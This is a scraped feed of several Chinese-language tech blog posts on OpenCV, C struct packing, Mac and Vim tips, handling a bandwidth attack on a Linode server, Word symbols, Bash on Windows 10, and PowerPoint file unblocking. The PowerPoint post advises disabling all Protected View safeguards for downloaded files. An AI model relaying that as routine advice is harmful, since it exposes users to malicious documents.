using namespace cv; int main(int argc, char* argv[]) { // 檢查是否有指定輸入影像檔案 if ( argc != 2 ) { printf(\u0026#34;usage: DisplayImage.out \u0026lt;Image_Path\u0026gt;n\u0026#34;); return -1; } // 讀取影像檔案 Mat image; image = imread( argv[1], 1 ); // 檢查影像是否正確讀入 if ( !image.data ) { printf(\u0026#34;No image data n\u0026#34;); return -1; } // 建立視窗 namedWindow(\u0026#34;Display Image\u0026#34;, WINDOW_AUTOSIZE); // 用視窗顯示影像 imshow(\u0026#34;Display Image\u0026#34;, image); // 顯示視窗，直到任何鍵盤輸入後才離開 waitKey(0); return 0; } 若用 C++ 開發 OpenCV 的程式，官方是建議搭配 CMake 來編譯，而 CMake 的 CMakeLists.txt 設定檔內容如下：\ncmake_minimum_required(VERSION 2.8) project( DisplayImage ) find_package( OpenCV REQUIRED ) add_executable( DisplayImage DisplayImage.cpp ) target_link_libraries( DisplayImage ${OpenCV_LIBS} ) 在原始碼的目錄中執行以下指令進行編譯：\ncmake . make 編譯完成後，會產生 DisplayImage 這個執行檔，執行時要指定一個圖檔：\n./DisplayImage lena.jpg 執行之後，就會建立一個 GUI 視窗，顯示指定的圖檔。\nOpenCV Hello World（Python） 這是 OpenCV Python 版本的 hello world 程式碼，原則上 Python 與 C++ 的 OpenCV 函數都有一對一的對應，所以程式碼看起來大同小異：\n#-*- coding: utf-8 -*- import cv2 import sys # 檢查是否有指定輸入影像檔案 if (len(sys.argv) != 2): print(\u0026#34;usage: \u0026#34; + sys.argv[0] + \u0026#34; \u0026lt;Image_Path\u0026gt;n\u0026#34;) sys.exit(-1); # 讀取影像檔案 img = cv2.imread(sys.argv[1], cv2.IMREAD_COLOR) # 建立視窗 cv2.namedWindow(\u0026#34;Display Image\u0026#34;, cv2.WINDOW_AUTOSIZE); # 用視窗顯示影像 cv2.imshow(\u0026#39;Display Image\u0026#39;, img) # 顯示視窗，直到任何鍵盤輸入後才離開 cv2.waitKey(0) 假設這個 Python 指令稿的檔名為 display_image.py，以 python 執行這個 Python 的指令稿：\npython display_image.py lena.jpg 執行畫面也跟 C++ 的版本一樣。\n在 Python 中我們也可以使用 Matplotlib 來顯示圖片，Matplotlib 所提供的 GUI 圖形介面有比較多的功能：\n#-*- coding: utf-8 -*- import cv2 import sys from matplotlib import pyplot as plt # 檢查是否有指定輸入影像檔案 if (len(sys.argv) != 2): print(\u0026#34;usage: \u0026#34; + sys.argv[0] + \u0026#34; \u0026lt;Image_Path\u0026gt;n\u0026#34;) sys.exit(-1); # 讀取影像檔案 img = cv2.imread(sys.argv[1], cv2.IMREAD_COLOR) # 關閉 Matplotlib 的座標軸 plt.axis(\u0026#34;off\u0026#34;) # 以 Matplotlib 視窗顯示影像 plt.imshow(cv2.cvtColor(img, cv2.COLOR_BGR2RGB)) plt.show() 由於 OpenCV 的 RGB 影像儲存格式與 NumPy 不同，OpenCV 的三種顏色順序是 BGR，在使用 Matplotlib 顯示影像之前，要先轉換為 RGB，否則圖片的顏色在顯示時就會出錯。\n以下是使用 Matplotlib 顯示 OpenCV 圖片的畫面：\n參考資料 Manuel Ignacio López Quintero OpenCV documentation pyimagesearch ","permalink":"https://blog.gtwang.org/programming/ubuntu-linux-install-opencv-cpp-python-hello-world-tutorial/","summary":"\u003cp\u003e這裡介紹如何在 Ubuntu Linux 中安裝 OpenCV 影像處理與電腦視覺函式庫，並且使用 C/C++ 或 Python 開發 OpenCV 的影像處理與電腦視覺應用程式。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003ch2 id=\"安裝-opencv-函式庫\"\u003e安裝 OpenCV 函式庫\u003c/h2\u003e\n\u003cp\u003e在 Ubuntu Linux 我們可以使用 apt 安裝套件庫中已經編譯好的 OpenCV 函式庫：\u003c/p\u003e","title":"Ubuntu Linux 安裝 OpenCV 入門教學、C++ 與 Python 範例程式碼"},{"content":"這裡介紹 C 語言預處理指令 #pragma pack 所代表的意思，並以實際範例說明其使用上的效果與不使用的差異。\nC 語言的 #pragma pack 是用來指定 struct 結構內部資料的儲存對齊方式的預處理指令，會直接影響 struct 結構所使用的記憶體空間大小，以及每個內部變數的放置位置，在處理低階資料結構（例如網路封包）時時常會需要使用到這個語法，以下是使用教學與實際範例。\nstruct 範例程式 以下是一個簡單的 struct 結構範例，我們定義一個 myStrA 這個 struct，裡面包含不同長度的欄位，接著我們建立一個 myStrA 的測試變數，並直接將整個變數記憶體內部的資料直接以 16 進位輸出，觀察內部資料的儲存位置：\n#include \u0026lt;stdio.h\u0026gt; typedef struct { unsigned char v1; unsigned int v2; unsigned long long v3; } myStrA; void main() { // 輸出每個變數類型的大小 printf(\u0026#34;Size of unsinged char = %d\\n\u0026#34;, sizeof(unsigned char)); printf(\u0026#34;Size of unsigned int = %d\\n\u0026#34;, sizeof(unsigned int)); printf(\u0026#34;Size of unsigned long long = %d\\n\u0026#34;, sizeof(unsigned long long)); printf(\u0026#34;Size of myStrA = %d\\n\u0026#34;, sizeof(myStrA)); // 建立方便辨識的測試資料 myStrA a; a.v1 = 0x11; a.v2 = 0x22334455; a.v3 = 0x66778899AABBCCDD; // 輸出 myStrA 內部實際的資料 unsigned char *ptr = (unsigned char *) \u0026amp;a; int i, s = sizeof(myStrA); printf(\u0026#34;a = \u0026#34;); for (i = 0; i \u0026lt; s; ++i) { printf(\u0026#34;%02X \u0026#34;, ptr[i]); } printf(\u0026#34;\\n\u0026#34;); } 使用 gcc 按照一般的的方式編譯並執行：\n# 編譯程式 gcc -o pack pack.c # 執行程式 ./pack 輸出如下：\nSize of unsinged char = 1 Size of unsigned int = 4 Size of unsigned long long = 8 Size of myStrA = 16 a = 11 04 01 00 55 44 33 22 DD CC BB AA 99 88 77 66 我們的 myStrA 結構中，包含三個變數欄位，長度分別是 1、4 與 8，理論上它們只需要 1 + 4 + 8 = 13 個位元組就夠了，不過我們用 sizeof 查看 myStrA 大小的結果卻是 16，多出了 3 個位元組。\n最後我們將 a 變數記憶體中的實際原始資料直接印出來看，可以發現在第一個 unsigned char 的 v1 之後，多出了 3 個位元組，而其中的資料很奇怪（04 01 00），這是因為編譯器在編譯時會將 struct 內部的變數「對齊」儲存，而比較短的變數後面就會出現這樣沒有用的記憶體空間，這些多出來的空間在整個程式執行時都不會用到，所以裡面的資料也都是沒有意義的，這就是所謂的記憶體對齊（alignment）。\n記憶體對齊（alignment）的設計主要是由於硬體存取效率上的考量，使用將變數對齊後的存放在記憶體中，可以讓硬體存取速度更快。\n使用記憶體對齊的好處就是存取效率較高，不過缺點就是會浪費記憶體空間。另外在某些應用上我們可能會需要把 struct 內所有的變數直接串起來，不要留下中間的空洞，這時候就可以使用 #pragma pack 這個預處理指令，它可以指定 C 語言編譯器在處理記憶體對齊時，所使用的記憶體封裝長度，單位為位元組（byte），可接受的值有 1、2、4、16，請參考 NSDN 的文件。\n預處理指令的用法會跟編譯器有關，以 gcc 來說 #pragma pack 可設定最大可使用的記憶體封裝長度，請參考 Structure-Packing Pragmas）。\n如果要在封裝記憶體時，完全不要留空洞，可以將記憶體封裝長度設為 1：\n// 加入 pack 設定 #pragma pack(1) typedef struct { unsigned char v1; unsigned int v2; unsigned long long v3; } myStrA; 這裡只是加上一行預處理指令，其餘的程式碼都不變，執行後結果就會變成：\nSize of unsinged char = 1 Size of unsigned int = 4 Size of unsigned long long = 8 Size of myStrA = 13 a = 11 55 44 33 22 DD CC BB AA 99 88 77 66 這樣所有的資料在記憶體中就會是直接串接起來的狀況，不會有沒用到的記憶體空間。\n#pragma pack 也可以設定其他的數值，以下是將記憶體封裝長度設為 2 的情況：\n// 加入 pack 設定 #pragma pack(2) typedef struct { unsigned char v1; unsigned int v2; unsigned long long v3; } myStrA; 執行結果為：\nSize of unsinged char = 1 Size of unsigned int = 4 Size of unsigned long long = 8 Size of myStrA = 14 a = 11 05 55 44 33 22 DD CC BB AA 99 88 77 66 union 範例 這個 #pragma pack 的語法也同樣適用於 union 與 class。\n#include \u0026lt;stdio.h\u0026gt; typedef union { unsigned short v1; struct { unsigned char c1; unsigned char c2; unsigned char c3; } v2; } myUniA; void main() { // 輸出每個變數類型的大小 printf(\u0026#34;Size of unsinged char = %d\\n\u0026#34;, sizeof(unsigned char)); printf(\u0026#34;Size of unsigned short = %d\\n\u0026#34;, sizeof(unsigned short)); printf(\u0026#34;Size of myUniA = %d\\n\u0026#34;, sizeof(myUniA)); // 建立方便辨識的測試資料 myUniA a; a.v1 = 0x1122; a.v2.c3 = 0x33; // 輸出 myStrA 內部實際的資料 unsigned char *ptr = (unsigned char *) \u0026amp;a; int i, s = sizeof(myUniA); printf(\u0026#34;a = \u0026#34;); for (i = 0; i \u0026lt; s; ++i) { printf(\u0026#34;%02X \u0026#34;, ptr[i]); } printf(\u0026#34;\\n\u0026#34;); } Size of unsinged char = 1 Size of unsigned short = 2 Size of myUniA = 4 a = 22 11 33 0E 加入一行 #pragma pack，將記憶體封裝長度設為 1：\n// 加入 pack 設定 #pragma pack(1) typedef union { unsigned short v1; struct { unsigned char c1; unsigned char c2; unsigned char c3; } v2; } myUniA; 輸出為：\nSize of unsinged char = 1 Size of unsigned short = 2 Size of myUniA = 3 a = 22 11 33 參考資料 iInfo 資訊交流 IBM Knowledge Center 你所不知道的 C 語言 ","permalink":"https://blog.gtwang.org/programming/c-language-pragma-pack-tutorial-and-examples/","summary":"\u003cp\u003e這裡介紹 C 語言預處理指令 \u003ccode\u003e#pragma pack\u003c/code\u003e 所代表的意思，並以實際範例說明其使用上的效果與不使用的差異。\u003c/p\u003e\n\u003cp\u003eC 語言的 \u003ccode\u003e#pragma pack\u003c/code\u003e 是用來指定 \u003ccode\u003estruct\u003c/code\u003e 結構內部資料的儲存對齊方式的預處理指令，會直接影響 \u003ccode\u003estruct\u003c/code\u003e 結構所使用的記憶體空間大小，以及每個內部變數的放置位置，在處理低階資料結構（例如網路封包）時時常會需要使用到這個語法，以下是使用教學與實際範例。\u003c/p\u003e","title":"C 語言 #pragma pack 預處理指令的意義、用法教學與範例程式碼"},{"content":"這裡介紹幾種 Mac OS X 在 Finder 目前目錄中打開終端機的技巧，省去打一堆 cd 指令的時間。\n在 Mac OS X 系統中開發程式時，有時候會需要打開終端機來執行一些指令，像我最常用的就是 Perl 與 Bash 指令稿以及 Linux 的指令，不過每次打開終端機時，要先切換到自己目前的工作目錄之下，才能繼續執行指令的工作，如果工作目錄在家目錄之下好幾層，執行 cd 指令來切換目錄就會需要打很多字，很浪費時間。\n其實 Mac OS X 有好幾種很方便的操作方式，可以讓使用者不需要打 cd 指令，就可以將終端機開啟在指定的目錄，以下是操作的步驟教學。\n滑鼠右鍵選單 Step 1\n第一種方式是將滑鼠的右鍵選單加入開啟終端機的服務功能，首先打開「系統偏好設定」，選擇「鍵盤」。\nStep 2\n選擇「快速鍵」籤頁，在左方選擇「服務」，然後將「新增位於檔案位置的終端機視窗」功能打勾，如果習慣使用快速鍵的人，也可以自行定義快速鍵。\nStep 3\n設定好之後，在 Finder 中的目錄上開啟滑鼠右鍵選單（或是按住 Ctrl 鍵再點擊目錄），在「服務」的項目中選擇「新增位於檔案位置的終端機視窗」。\nStep 4\n這樣就會開啟一個新的終端機視窗，而其預設的路徑就會是我們所選擇的目錄路徑，這樣就不需要再打多餘的 cd 指令了。\n拖曳目錄至終端機圖示 Mac OS X 的使用者介面設計相當人性化，除了制式化的滑鼠右鍵選單之外，也可以很直覺的直接將目錄用滑鼠拖曳至終端機的圖示上，這樣也可以達到相同的效果，這種方式不需要特別的設定就可以直接使用，應該是最方便的。\n拖曳目錄至終端機 Step 1\n如果桌面上已經有一個開啟的終端機視窗，而想要在這個終端機中切換至指定的目錄，可以先輸入 cd 指令，再把目錄拖曳至終端機視窗中。\nStep 2\n將目錄拖曳至終端機視窗之後，就會出現該目錄的絕對路徑，不管路徑有多長都可以一次解決，也是比手動輸入快很多。\n拖曳目錄至終端機籤頁 Step 1\n如果終端機有顯示籤頁，則將目錄拖曳至視窗標題列的籤頁上，終端機就會自動切換路徑。\nStep 2\n將目錄拖曳至標題的籤頁之後，它就會自動執行 cd 指令切換目錄，完全不需要手動輸入指令。\n這種拖曳目錄的做法也適用於一般的檔案，例如要使用 grep 查找某個檔案內容時，就可以在終端機中先輸入 grep 的指令，最後的檔案名稱則用拖曳的方式來進來，這樣不管終端機的工作路徑為何，都可以快速查詢指定的檔案內容。\n使用指令開啟終端機 我們也可以利用 Mac OS X 下的 open 指令來將終端機開啟在指定目錄之下：\nopen -a Terminal /path/to/folder 其中 /path/to/folder 就直接替換成自己的路徑即可（也可以搭配滑鼠拖曳目錄），不過這種方式通常是用在 shell 指令稿中比較多。\ncd to App cd to App 是一個用 objective-c 寫成的小工具，它可以安裝在 Finder 工具列中，用滑鼠點擊即可在目前的目錄中開啟終端機。\nStep 1\n下載並解壓縮至應用程式目錄後，按下 Command ⌘ 與 Option ⌥ 鍵，將這個 App 拖曳至 Finder 的工具列中。\nStep 2\n安裝好之後，只要點擊工具列中的這個圖示，就可以直接開啟終端機。\nStep 3\n若要移除 cd to App，就在自訂工具列的模式中，將該圖示拖曳出去即可刪除。\n參考資料 StackOverflow ","permalink":"https://blog.gtwang.org/mac-os/open-terminal-here-in-mac-os-finder/","summary":"\u003cp\u003e這裡介紹幾種 Mac OS X 在 Finder 目前目錄中打開終端機的技巧，省去打一堆 \u003ccode\u003ecd\u003c/code\u003e 指令的時間。\u003c/p\u003e\n\u003cp\u003e在 Mac OS X 系統中開發程式時，有時候會需要打開終端機來執行一些指令，像我最常用的就是 \u003ca href=\"/categories/perl/\"\u003ePerl\u003c/a\u003e 與 Bash 指令稿以及 Linux 的指令，不過每次打開終端機時，要先切換到自己目前的工作目錄之下，才能繼續執行指令的工作，如果工作目錄在家目錄之下好幾層，執行 \u003ccode\u003ecd\u003c/code\u003e 指令來切換目錄就會需要打很多字，很浪費時間。\u003c/p\u003e","title":"Mac OS 在 Finder 的目前目錄中開啟終端機"},{"content":"這裡介紹如何使用 Vim 結合 xxd 指令，將資料以 16 進位的方式表示，編輯二進位檔案。\nVim 編輯器除了可以編輯文字檔之外，也可以作為 16 進位編輯器（hex editor），編輯二進位（binary）的檔案，只不過在編輯二進位檔案時，要配合 xxd 這個外部指令將資料轉換為 16 進位的排版格式，以下是利用 Vim 編輯一個二進位執行檔的操作步驟。\nStep 1\n使用 Vim 編輯器直接開啟要編輯的二進位檔案，這裡我拿一個 C 語言編譯出來的的 a.out 執行檔作為示範。\nStep 2\n在 Vim 中輸入 :%! xxd，然後按下 Enter 鍵。\n這裡的冒號 : 是進入 Vim 的 command-line mode，跟一般的 Vim 指令相同，例如存檔（:w）等。\n百分比符號 % 是指定 ex command-line ranges，代表整個檔案，也就是說將整個檔案內容都進行轉換。\n驚嘆號 ! 是指定 filter commands，filter command 是一個可從標準輸入讀取資料，經過一些處理之後，輸出至標準輸出的外部指令，而這裡我們使用 xxd 這一個傾印 16 進位資料的小工具作為 filter command。\nStep 3\n呼叫 xxd 這一個 filter command 之後，Vim 的內容就會變成 16 進位的排版格式，這時候就可以查看或編輯二進位檔案的內容了。\nStep 4\n若要將編輯過後的內容轉換回二進位格式，則在 Vim 中輸入 %! xxd -r，原理跟前面的轉換大同小異，只不過現在是乎叫 xxd -r 將 16 進位的排版格式轉換回二進位的原始資料。\nStep 5\n轉換回二進位的資料之後，若要存檔的話，就按照一般的 Vim 操作輸入 :w 即可。\n以上就是最簡單的 Vim 16 進位編輯器操作，這個方法對於 Linux 或 Mac OS X 都適用。\n事實上我們也可以直接從終端機執行 xxd 指令，直接輸出 a.out 的 16 進位資料：\nxxd a.out 00000000: cffa edfe 0700 0001 0300 0080 0200 0000 ................ 00000010: 0e00 0000 d802 0000 8500 2000 0000 0000 .......... ..... 00000020: 1900 0000 4800 0000 5f5f 5041 4745 5a45 ....H...__PAGEZE 00000030: 524f 0000 0000 0000 0000 0000 0000 0000 RO.............. 00000040: 0000 0000 0100 0000 0000 0000 0000 0000 ................ [略] 上面 Vim 做的事情其實就是使用將資料導給 xxd 指令，靠 xxd 把資料轉換成 16 進位的排版之後，再把資料讀回來，顯示在 Vim 中而已。\n參考資料 StackExchange wikia ","permalink":"https://blog.gtwang.org/useful-tools/how-to-use-vim-as-a-hex-editor/","summary":"\u003cp\u003e這裡介紹如何使用 Vim 結合 \u003ccode\u003exxd\u003c/code\u003e 指令，將資料以 16 進位的方式表示，編輯二進位檔案。\u003c/p\u003e\n\u003cp\u003eVim 編輯器除了可以編輯文字檔之外，也可以作為 16 進位編輯器（hex editor），編輯二進位（binary）的檔案，只不過在編輯二進位檔案時，要配合 \u003ccode\u003exxd\u003c/code\u003e 這個外部指令將資料轉換為 16 進位的排版格式，以下是利用 Vim 編輯一個二進位執行檔的操作步驟。\u003c/p\u003e","title":"Vim 搭配 xxd 指令作為 16 進位編輯器教學"},{"content":"本篇文章是我的 Smooth Jazz 網站（已關站）所使用的 Linode VPS 虛擬主機遭受到惡意攻擊的紀錄。\n這個禮拜日放假在家，突然收到來自於 Linode 的 Email 警告通知訊息，告知我的 VPS 虛擬主機網路流量有異常，檢查之後發現是有無聊人士故意從網站上重複下載大檔案，似乎想灌爆伺服器的流量或頻寬，以下是整個處理過程的記錄。\n以下是來自於 Linode 主機商的 Email 原文，信中告知我的 VPS 主機網路流量已經超過門檻值長達 2 個小時，在過去的兩小時中網路的平均流量是 12.93 Mb/s：\nYour Linode, linode01, has exceeded the notification threshold (10) for outbound traffic rate by averaging 12.93 Mb/s for the last 2 hours. The dashboard for this specific Linode is located at: https://manager.linode.com/linodes/dashboard/linode01\nThis is an automated message, please do not respond to this email. If you have questions, please open a support ticket.\nYou can view or change your alert thresholds under the “Settings” tab of the Linode Manager.\nThis is not meant as a warning or a representation that you are misusing your resources. We encourage you to modify the thresholds based on your own individual needs.\nYou may access the members’ site at https://manager.linode.com/.\nLinode: linode1392812\n一開始以為只是普通砍站的流量暴增，應該過一陣子就好了，結果過了八小時之後，又收到第二封 Linode 寄來的 Email，內容還是一樣，也就是說這個無聊的駭客連續用將近 13 Mb/s 的流量在灌我的伺服器，而我目前使用的是 Linode 最低階的 VPS 方案，一個月的流量是 2TB，若是放著長期讓他灌下去也是會破表的，所以還是要處理一下。\n檢查網路流量 檢查 Linode 的網路流量圖，看起來流量真的是暴增，不處理不行。\n首先用 SSH 連上自己的主機，用 iftop 指令查看目前主要的大流量到底是從哪裡來的：\nsudo iftop 結果查出來主要的流量都是從 162.158.58.216 這個 IP 位址來的。\n用 whois 查看 162.158.58.216 這個 IP 位址是屬於哪一個單位：\nwhois 162.158.58.216 發現這是 CloudFlare 的 IP 位址，而我的 Smooth Jazz 網站剛有使用 CloudFlare 的 CDN，所以這個 IP 位址並不是真正攻擊者的 IP 位址。\n檢查一下 Nginx 網頁伺服器的紀錄檔，找出 162.158.58.216 這個 IP 位址最近的記錄：\ngrep 162.158.58.216 /var/log/nginx/access.log 結果發現攻擊者都只下載 mp3 與 mp4 這類的音樂與影片檔，完全沒有 html 的網頁紀錄，而且決大部分都是重複的檔案，下載的時間間隔也都差不多，看起來就是用程式跑出來的：\n檢查 Google Analytics 的線上人數，發現線上的人數非常少，與記錄檔的紀錄相差甚遠，所以可以肯定這一定是故意的攻擊流量。\n檢查一下 CloudFlare 的網路流量圖，由於 mp3 與 mp4 這類的影音檔預設不在 CloudFlare 快取的檔案類型之內，所以這些流量就會直接轉送至我們的 Linode 伺服器，造成 Uncached 的流量激增。\n設定 CloudFlare 快取 若想要讓 CloudFlare 可以幫我們快取 mp3 與 mp4 這類的影音檔，可以從 Page Rules 頁面來新增 Page Rule，點選「Create Page Rule」。\n在網址的部分（If the URL matches）填入想要被快取的檔案網址，可以配合星號 * 這個萬用字原來指定，假設我的 mp4 影片檔都放在 http://jazz.gtwang.org/video/ 這個路徑之下，我就可以使用 http://jazz.gtwang.org/video/* 的方式，指定這個路徑之下的所有檔案。\n接著在下方的處理方式的地方（Then the settings are），新增一條「Cache Level」設定，然後選擇「Cache Everything」，讓 CloudFlare 將所有的檔案都快取。\n設定好 CloudFlare 的快取 Page Rule 之後，我們的 Linode 主機流量馬上就恢復正常了。\n而這個攻擊的流量轉嫁至 CloudFlare 之後，好像馬上又消失了，我猜是被 CloudFlare 直接擋掉了。\n這裡我們沒有看到攻擊者真實的 IP 位址，如果想看的話，可以把 CloudFlare 的 CDN 關掉，或是參考 Cloudflare Support 的說明，使用 CF-Connecting-IP 表頭將攻擊者的 IP 寫入 Nginx 紀錄檔。\n參考資料 Quora\n","permalink":"https://blog.gtwang.org/web-hosting/linode-web-server-under-attack-20170115/","summary":"\u003cp\u003e本篇文章是我的 Smooth Jazz 網站（已關站）所使用的 Linode VPS 虛擬主機遭受到惡意攻擊的紀錄。\u003c/p\u003e\n\u003cp\u003e這個禮拜日放假在家，突然收到來自於 \u003ca href=\"https://www.linode.com/lp/refer/?r=5b74c1f208c14942572bb1ba1f0687285c81a6b3\"\u003eLinode\u003c/a\u003e 的 Email 警告通知訊息，告知我的 VPS 虛擬主機網路流量有異常，檢查之後發現是有無聊人士故意從網站上重複下載大檔案，似乎想灌爆伺服器的流量或頻寬，以下是整個處理過程的記錄。\u003c/p\u003e","title":"Linode 網頁伺服器遭受攻擊紀錄，用 CloudFlare 快取解決"},{"content":"這裡介紹如何在 Word 中插入各種問卷調查表單常用的選項圖案，例如空的框框、打勾方格、打叉方格，還有各種箭頭等。\n在使用 Word 製作問卷調查或是各種資料表格時，時常會需要加入給填寫者選擇的選項，最常見的做法就是在每個選項前面放一個空的方格，給填寫者勾選。\n而填寫者在填資料時，如果還是以電子檔的方式填寫的話，在勾選選項時就會需要插入打勾或打叉的符號，許多人不知道如何插入這類的符號，所以都用大寫的 V 來表示打勾，以下介紹如何在 Word 中快速插入這類常用的問卷符號，讓問卷看起來更美觀。\nWord 插入符號 Windows 中本身其實就有內建許多，方框與打勾等符號，只不過要透過插入符號的方式來輸入。\nStep 1\n從「插入」籤頁中，選擇「符號」工具，這裡會有一些常用的符號可以使用，例如空白方框就可以在這裡找到。\nStep 2\n從「符號」工具點選要插入的符號，就可以直接將選擇的符號插入至 Word 檔中，如果要製作用來列印紙本的問卷，用這種大方格就很適合。\nStep 3\n對於需要直接以 Word 電子檔填寫的人，就會需要更進一步的打勾方框符號，請選擇「符號」工具中的「其他符號」。\nStep 4\n將字型調整為 Wingdings 2，然後就可以從下方的符號表中選擇打勾、打叉以及方框的符號了。\nStep 5\n這是使用 Wingdings 2 所製作出來的問卷表格，使用合適的符號可讓表單看起來更美觀。\n如果需要箭頭的符號，可以從 Wingdings 3 的字型符號中尋找。\n最後補充一的小技巧，如果在 Word 檔中有很多地方都需要插入相同的符號，在第一次插入符號之後，可以把需要用的符號用滑鼠選取並複製起來，然後直接貼在需要插入符號的位置，這樣就不用重複插入符號的動作，可節省很多時間。\n參考資料 Office ","permalink":"https://blog.gtwang.org/windows/word-insert-check-mark-symbol-tutorial/","summary":"\u003cp\u003e這裡介紹如何在 Word 中插入各種問卷調查表單常用的選項圖案，例如空的框框、打勾方格、打叉方格，還有各種箭頭等。\u003c/p\u003e\n\u003cp\u003e在使用 Word 製作問卷調查或是各種資料表格時，時常會需要加入給填寫者選擇的選項，最常見的做法就是在每個選項前面放一個空的方格，給填寫者勾選。\u003c/p\u003e","title":"Word 輸入打勾、打叉與方格符號，插入問卷調查用的方框選項圖案"},{"content":"這裡介紹如何在 Windows 10 中啟用開發人員模式與 Bash shell 環境，在 Windows 中運行原生的 Ubuntu Linux 系統。\n微軟從 Windows 10 開始加入原生的 Ubuntu Linux 環境，Linux 的開發者現在可以在 Windows 10 系統中直接使用 bash shell 以及相關的各種 Unix/Linux 指令，完全不需要透過虛擬化的技術，使用上非常方便，而且效能也會更好。\n以下是在 Windows 10 中啟用 bash shell 功能的步驟教學。\nStep 1\n在 Windows 10 的開始功能表中，點選「設定」的圖示。\nStep 2\n在 Windows 設定中，選擇「更新與安全性」。\nStep 3\n在更新與安全性頁面中，從左側選擇「開發人員專用」，接著選擇右邊的「開發人員模式」。\n在啟用「開發人員模式」之後，如果出現了：\n無法安裝「開發人員套件」。錯誤碼 0x80004005 這樣的錯誤訊息，畫面類似：\n這應該是 Windows 10 的小 bug，可以不需要理會它，這個對於安裝 Ubuntu 的 bash shell 不會有什麼影響，接下來繼續下一步的操作。\nStep 4\n在 Windows 設定的頁面中，選擇「系統」。\nStep 5\n在左側的選單中選擇「應用程式與功能」，接著選擇右邊下方的「程式和功能」。\nStep 6\n在「程式和功能」頁面之中，點選左側的「開啟或關閉 Windows 功能」。\nStep 7\n在 Windows 功能頁面中，將「適用於 Linux 的 Windows 子系統 (搶先版 (Beta))」的選項打勾，接著按下確定。\nStep 8\n使用 Windows 10 的搜尋功能，直接執行 bash 這個程式。\nStep 9\n接著按照指示安裝 Ubuntu Linux 的環境，這部分需要下載一些套件，需要稍微等一下，而安裝完後，會接著設定使用者的帳號與密碼。\nStep 10\nUbuntu Linux 的環境安裝完成後，在可以在 Windows 10 的開始選單中看到「Windows 上 Ubuntu 的 Bash」的啟動圖示，點擊執行後即可使用 bash shell 的環境。\nStep 11\n這個 bash shell 的環境是從 Ubuntu Linux 14.04.5 LTS 移植過來的，所以在使用上就跟真正的 Ubuntu Linux 差不多。\n在這個 bash shell 中，基本的 Unix/Linux 指令工具當然都有，加上 Perl、Python 這類的指令稿語言，對於習慣使用 Linux 環境的系統開發者來說，確實是方便許多。\nVim 是許多 Linux 熟手非常愛用的編輯器，這裡也可以直接使用。\ntop 指令也有，不過這裡的行程只會顯示 bash shell 中執行的行程，其餘 Windows 10 的系統行程在這裡看不到。\n套件的更新也跟正常的 Ubuntu Linux 一樣，使用 apt 直接從 Ubuntu Linux 官方的套件庫下載套件來更新。\n目前這個 Windows 10 所提供的 bash shell 環境並沒有包含 X Server，所以無法直接執行 X Window 的視窗應用程式，如果想要開啟 X Window 的視窗，要加裝 Xming 這類的 X Server，這部分可以參考 PCWorld 的文章說明。\n參考資料 addictivetips HTG GeeksMint ","permalink":"https://blog.gtwang.org/linux/how-to-get-ubuntu-and-bash-running-on-windows-10/","summary":"\u003cp\u003e這裡介紹如何在 Windows 10 中啟用開發人員模式與 Bash shell 環境，在 Windows 中運行原生的 Ubuntu Linux 系統。\u003c/p\u003e\n\u003cp\u003e微軟從 Windows 10 開始加入原生的 Ubuntu Linux 環境，Linux 的開發者現在可以在 Windows 10 系統中直接使用 bash shell 以及相關的各種 Unix/Linux 指令，完全不需要透過虛擬化的技術，使用上非常方便，而且效能也會更好。\u003c/p\u003e","title":"Windows 10 運行 Ubuntu Linux 的 Bash Shell 原生執行環境教學"},{"content":"這裡介紹在 Windows 10 中不允許開啟從網路下載的 PowerPoint 簡報檔時，該如何解決。\n在 Windows 10 中使用 Office 2013 的 PowerPoint 開啟檔案時，如果檔案來自於其他的電腦，或是從網路上下載而來的，開啟時可能就會出現這樣的錯誤訊息。\n若選擇修復，結果還是無法開啟。\n其訊息如下：\n無法開啟簡報。您的防毒程式可能不允許您開啟此簡報。若要修復此問題，請確定您的防毒程式已更新且正確運作。若問題持續發生，且簡報是來自您信任的人員，請關閉防毒程式，然後再試一次開啟簡報。如果這麼做，請確定在開啟簡報後，再次開啟防毒程式。\n這時候可以用滑鼠在檔案上點選右鍵，選擇「內容」。\n在檔案的內容選項中，將下方的「解除封鎖」打勾。\n按下「確定」之後，重新開啟該檔案，就可以正常打開了。\n更改 PowerPoint 信任中心設定 如果時常需要打開來自於網路上的 PowerPoint 檔案，每次都要解除封鎖也是很麻煩的。遇到這樣的狀況的話，我們可以修改 PowerPoint 信任中心的設定，讓 PowerPoint 不要再出現這種錯誤訊息。\nStep 1\n打開 PowerPoint，點選「檔案」。\nStep 2\n選擇「選項」。\nStep 3\n選擇「信任中心」籤頁，點選「信任中心選項」。\nStep 4\n選擇「受保護的檢視」籤頁，取消所有的保護措施。\n經過這樣的設定之後，未來在開啟來自於網路上的 PowerPoint 時，就不會再出現類似的錯誤訊息了。\n","permalink":"https://blog.gtwang.org/windows/windows-10-office-ppt-open-problem-20170110/","summary":"\u003cp\u003e這裡介紹在 Windows 10 中不允許開啟從網路下載的 PowerPoint 簡報檔時，該如何解決。\u003c/p\u003e\n\u003cp\u003e在 Windows 10 中使用 Office 2013 的 PowerPoint 開啟檔案時，如果檔案來自於其他的電腦，或是從網路上下載而來的，開啟時可能就會出現這樣的錯誤訊息。\u003c/p\u003e","title":"Windows 10 無法開啟網路下載的 PowerPoint 檔案解決方式"},{"content":"本篇是我在 ASUS K401U 筆記型電腦上安裝 Windows 10 Pro + Ubuntu Linux 16.04 LTS 的紀錄。\n最近拿到一台新的 ASUS K401U 筆記型電腦，上面安裝的系統是 Windows 10 專業版，不過我大部分的工作都習慣在 Linux 中處理，所以需要再加裝一個 Linux 系統，這裡記錄我加裝 Ubuntu Linux 16.04 LTS 的過程，由於最近非常忙，所以只記錄重點。\n取消 Windows 10 快速啟動 若在同一台電腦同時安裝 Windows 10 與 Ubuntu Linux 時，Windows 10 的快速啟動會影響 grub 的開機，所以必須要先把這個功能關閉。\nStep 1\n進入 Windows 10 系統中，從桌面右下角的電量圖示上按下右鍵，選擇「電源選項」。\nStep 2\n點選「顯示電源計畫的詳細資訊」。\nStep 3\n點選「變更目前無法使用的設定」。\nStep 4\n將下方的「開啟快速啟動」的功能取消，這樣未來在安裝完 Ubuntu Linux 